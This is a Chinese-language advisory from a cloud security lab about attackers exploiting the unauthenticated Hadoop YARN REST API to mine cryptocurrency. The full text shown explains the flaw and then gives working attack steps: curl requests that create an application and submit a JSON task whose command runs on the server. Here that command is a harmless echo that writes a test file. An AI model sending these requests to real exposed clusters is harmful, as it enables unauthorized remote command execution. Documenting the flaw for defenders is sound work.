作者:Fooying@雲鼎實驗室
公眾號:雲鼎實驗室
一、背景
5月5日騰訊雲安全團隊曾針對攻擊者利用Hadoop Yarn資源管理系統REST API未授權漏洞對服務器進行攻擊,攻擊者可以在未授權的情況下遠程執行代碼的安全問題進行預警,在預警的前後我們曾多次捕獲相關的攻擊案例,其中就包含利用該問題進行挖礦,我們針對其中一個案例進行分析並提供響應的安全建議和解決方案。
二、漏洞說明
Hadoop是一個由Apache基金會所開發的分佈式系統基礎架構,YARN是hadoop系統上的資源統一管理平台,其主要作用是實現集群資源的統一管理和調度,可以把MapReduce計算框架作為一個應用程序運行在YARN系統之上,通過YARN來管理資源。簡單的說,用戶可以向YARN提交特定應用程序進行執行,其中就允許執行相關包含系統命令。
YARN提供有默認開放在8088和8090的REST API(默認前者)允許用戶直接通過API進行相關的應用創建、任務提交執行等操作,如果配置不當,REST API將會開放在公網導致未授權訪問的問題,那麼任何黑客則就均可利用其進行遠程命令執行,從而進行挖礦等行為。
攻擊步驟:
1.申請新的application
直接通過curl進行POST請求
curl -v -X POST 'http://ip:8088/ws/v1/cluster/apps/new-application'
返回內容類似於:
{"application-id":"application_1527144634877_20465","maximum-resource-capability":{"memory":16384,"vCores":8}}
2.構造並提交任務
構造json文件1.json,內容如下,其中application-id對應上面得到的id,命令內容為嘗試在/var/tmp目錄下創建11112222_test_111122222
文件,內容也為111:
{ "am-container-spec":{ "commands":{ "command":"echo '111' > /var/tmp/11112222_test_11112222" } }, "application-id":"application_1527144634877_20465", "application-name":"test", "application-type":"YARN" }
然後直接
curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' http://ip:8088/ws/v1/cluster/apps --data-binary @1.json
即可完成攻擊,命令被執行,在相應目錄下可以看到生成了對應文件